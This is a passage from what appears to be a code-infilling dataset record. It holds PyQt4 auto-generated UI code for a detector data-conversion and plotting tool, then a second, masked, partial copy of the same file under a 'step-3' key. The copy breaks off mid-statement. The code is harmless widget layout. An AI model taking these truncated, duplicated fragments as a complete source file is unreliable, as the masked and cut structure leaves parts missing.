sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8('label_4'))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().\n hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8('comboBox'))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().\n hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8('plotButton'))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,\n 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_3'))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8('label_5'))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().\n hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8('label'))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().\n hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,\n 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_7'))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8('label_8'))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().\n hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().\n hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8('checkBox'))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().\n hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().\n hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget'))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8('label_9'))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().\n hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8('pushButton'))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().\n hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8('statusbar'))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8('toolBar'))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8('menuBar'))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8('actionOpen'))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8('actionQuit'))\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))\n self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))\n self.groupBox.setTitle(_translate('MainWindow',\n ' BINARY DATA CONVERSION', None))\n self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))\n self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_7.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))\n self.browserButton.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_3.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out', None))\n self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',\n None))\n self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))\n self.filePathEdit_5.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.runButton.setText(_translate('MainWindow', 'Run', None))\n self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))\n self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))\n self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))\n self.loadButton.setText(_translate('MainWindow', 'Load', None))\n self.filePathEdit_4.setText(_translate('MainWindow',\n 'D:\\\\detdev\\\\maia\\\\python\\\\', None))\n self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))\n self.plotButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))\n self.label.setText(_translate('MainWindow', 'to', None))\n self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))\n self.label_8.setText(_translate('MainWindow',\n ' PLOT SPECTRA AS 2-D IMAGE', None))\n self.checkBox.setText(_translate('MainWindow', 'Log', None))\n self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',\n None))\n self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))\n self.label_9.setText(_translate('MainWindow',\n ' PLOT TOTAL COUNTS vs STRIP', None))\n self.pushButton.setText(_translate('MainWindow', 'Update', None))\n self.plotStripsButton.setText(_translate('MainWindow',\n 'Plot Strips', None))\n self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))\n self.actionOpen.setText(_translate('MainWindow', 'Open', None))\n self.actionQuit.setText(_translate('MainWindow', 'Quit', None))\n",
"step-3": "<mask token>\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n\n def _fromUtf8(s):\n return s\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, 